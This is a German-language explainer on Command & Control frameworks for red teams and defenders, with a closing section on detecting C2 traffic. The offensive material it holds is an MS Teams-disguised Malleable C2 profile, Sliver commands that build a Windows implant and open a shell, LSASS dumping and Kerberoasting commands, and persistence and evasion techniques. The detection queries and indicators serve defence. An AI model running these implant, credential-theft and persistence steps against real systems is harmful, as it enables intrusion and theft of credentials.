C2-Framework (Command & Control)
Ein Command & Control (C2) Framework ist ein Tool, das Red Teams und Penetrationstester nutzen, um nach einem initialen Zugriff auf Zielssystemen die Kommunikation mit kompromittierten Hosts zu verwalten. Angreifer nutzen dieselben Techniken. Bekannte Frameworks: Cobalt Strike, Metasploit, Sliver, Havoc. Das Verständnis von C2 ist zentral für Verteidigung und Detection Engineering.
Command & Control (C2) bezeichnet die Infrastruktur und Protokolle, über die Angreifer nach dem initialen Zugriff kompromittierte Systeme (Implants/Beacons) fernsteuern. Red Teams nutzen C2-Frameworks um realistische APT-Angriffe zu simulieren - dieselben Techniken, die echte Angreifer einsetzen.
C2-Architektur - Grundprinzip
C2-Architektur (modernes Red Team):
┌─────────────────────┐
│ Red Team Operator │
│ (Cobalt Strike │
│ Team Server) │
└──────────┬──────────┘
│ HTTPS (Port 443)
│ verschlüsselt, Malleable C2
┌──────────▼──────────┐
│ Redirector │
│ (Apache/Nginx │
│ in Cloud) │
└──────────┬──────────┘
│ modifizierter HTTP
│ (sieht aus wie CDN-Traffic)
┌──────────▼──────────┐
│ Kompromittiertes │
│ System (Beacon) │
│ Opfer-Netzwerk │
└─────────────────────┘
Warum Redirectoren?
→ Direktverbindung Operator→Beacon → sofortiger IP-Block
→ Redirector als Puffer: Operator-IP bleibt verborgen
→ Mehrere Redirectoren: Resilienz bei Take-Down
→ CDN-Redirectoren (Cloudflare): Traffic sieht "normal" aus
Wichtige C2-Frameworks
Cobalt Strike (Marktstandard für simulierte APT):
→ Kommerziell (~3.500 USD/Jahr pro Benutzer)
→ Beacon: kleiner, stabiler Implant
→ Malleable C2 Profiles: Traffic tarnen als Teams/Slack/etc.
→ Aggressor Script: Automatisierung, Custom Workflows
→ Post-Exploitation: Lateral Movement, Credential Harvest
→ Sehr oft von echten APT-Gruppen missbraucht (Cracked Versionen!)
→ Detection: JA3-Fingerprint, Beacon-Heartbeat-Muster
Cobalt Strike Malleable C2 Beispiel (tarnt als MS Teams):
set sleeptime "3000"; # Beacon-Check-in alle 3 Sekunden
set jitter "20"; # ±20% Jitter (Anti-Beaconing-Detection!)
set useragent "Mozilla/5.0 ... Microsoft Teams";
http-get {
set uri "/api/v1/user/status";
client {
header "Host" "teams.microsoft.com";
header "Accept" "application/json";
metadata { base64url; prepend "token="; header "Authorization"; }
}
}
---
Sliver (Open Source, Go-basiert):
→ Nachfolger vieler privater Frameworks
→ Implants in Go (schwer zu analysieren für AV)
→ Protokolle: mTLS, WireGuard, HTTP/HTTPS, DNS
→ Multiplayer: Team-Betrieb mit mehreren Operatoren
→ GitHub: BishopFox/sliver
sliver > generate --os windows --arch amd64 \
--mtls 10.0.0.1:8888 --save /tmp/beacon.exe
sliver > mtls --lport 8888
sliver > use <session-id>
sliver (IMPLANT) > shell
sliver (IMPLANT) > upload /tmp/tool.exe C:\Windows\Temp\
---
Havoc (Open Source, Widderhorn):
→ Modernes C2, 2022 veröffentlicht
→ Daemon (Server) + Implant (Demon.exe)
→ HTTPS-Listener mit Custom Malleable-Profil
→ GitHub: HavocFramework/Havoc
---
Metasploit Framework (Pentest-Standard):
→ Kostenlos (MSF Community) + Pro-Version
→ Meterpreter: mächtiges Post-Exploitation-Implant
→ Module: Exploits, Auxiliary, Post, Payloads
→ msf6> use exploit/windows/smb/ms17_010_eternalblue
→ Bekannt = schlechtes Evasion, aber gut für Pentests
Post-Exploitation über C2
Typische Post-Exploitation nach C2-Etablierung:
1. Situational Awareness:
# Cobalt Strike Beacon:
whoami → aktueller Benutzer
ipconfig → Netzwerk-Informationen
net localgroup administrators → lokale Admins
netstat -ano → offene Verbindungen
ps → laufende Prozesse
2. Credential Access:
→ Mimikatz via C2 (Cobalt Strike inject oder execute-assembly)
→ Kerberoasting: Rubeus.exe kerberoast /outfile:hashes.txt
→ LSASS-Dump: procdump64.exe -ma lsass.exe lsass.dmp
→ SAM/NTDS-Dump bei Domänencontroller
3. Lateral Movement via C2:
→ Pass-the-Hash: mit NTLM-Hash auf anderen Rechner
→ Pass-the-Ticket: Kerberos Ticket für anderen Dienst
→ SMB Lateral: PsExec-ähnlich über C2-Beacon
→ WMI/DCOM: Remote Execution ohne SMB
4. Persistence:
→ Scheduled Task: schtasks /create ...
→ Registry Run Key: HKCU\...\Run\
→ WMI Subscription: dauerhafter Trigger
→ COM Hijacking: bestehende COM-Objekte ersetzen
C2-Kommunikation verstecken:
→ Domain Fronting: Traffic läuft über CDN (Azure/Cloudflare)
→ DNS over HTTPS: C2 über DoH zu eigenem DNS-Resolver
→ Sleeping/Jitter: unregelmäßiges Beaconing
→ Process Injection: Code läuft in legitimen Prozessen
Detection von C2-Traffic
C2-Detection für Verteidiger:
1. Beaconing-Erkennung:
→ Regelmäßige HTTPS-Verbindungen an externe IP
→ Exakt gleichmäßige Intervalle → kein Jitter → verdächtig!
→ SIEM-Query (Microsoft Sentinel):
DeviceNetworkEvents
| where RemoteIPType == "Public"
| summarize ConnectionCount=count(),
AvgIntervalSeconds=avg(TimeGenerated)
by DeviceName, RemoteIP
| where ConnectionCount > 48 # Mehr als stündlich über 2 Tage
| order by ConnectionCount desc
2. JA3/JA3S TLS-Fingerprinting:
→ Cobalt Strike Standard-JA3: 72a7c4f499754a3d7c6bbc3f2b9cfbd1
→ Suricata/Zeek generieren JA3 automatisch
→ Threat Intel: sslbl.abuse.ch/blacklist/ja3_fingerprints/
3. HTTP-Header-Anomalien:
→ Malleable C2 Profile nicht perfekt → Anomalien erkennbar
→ Host-Header stimmt nicht mit SNI überein
→ User-Agent ungewöhnlich für den Endpunkt
→ Content-Type passt nicht zur Payload
4. DNS-Indikatoren:
→ Domain-Registrierung < 30 Tage alt
→ Niedrige TTL (60s) = Fast Flux
→ Nicht im Alexa/Tranco Top 1M
→ Hohe Subdomain-Entropie = DNS-Tunneling
5. Process Injection erkennen (Endpoint):
→ Prozess öffnet LSASS-Memory (PROCESS_ALL_ACCESS)
→ svchost.exe spawnt ungewöhnliche Child-Prozesse
→ Speicher mit RWX-Rechten in nicht-Code-Bereichen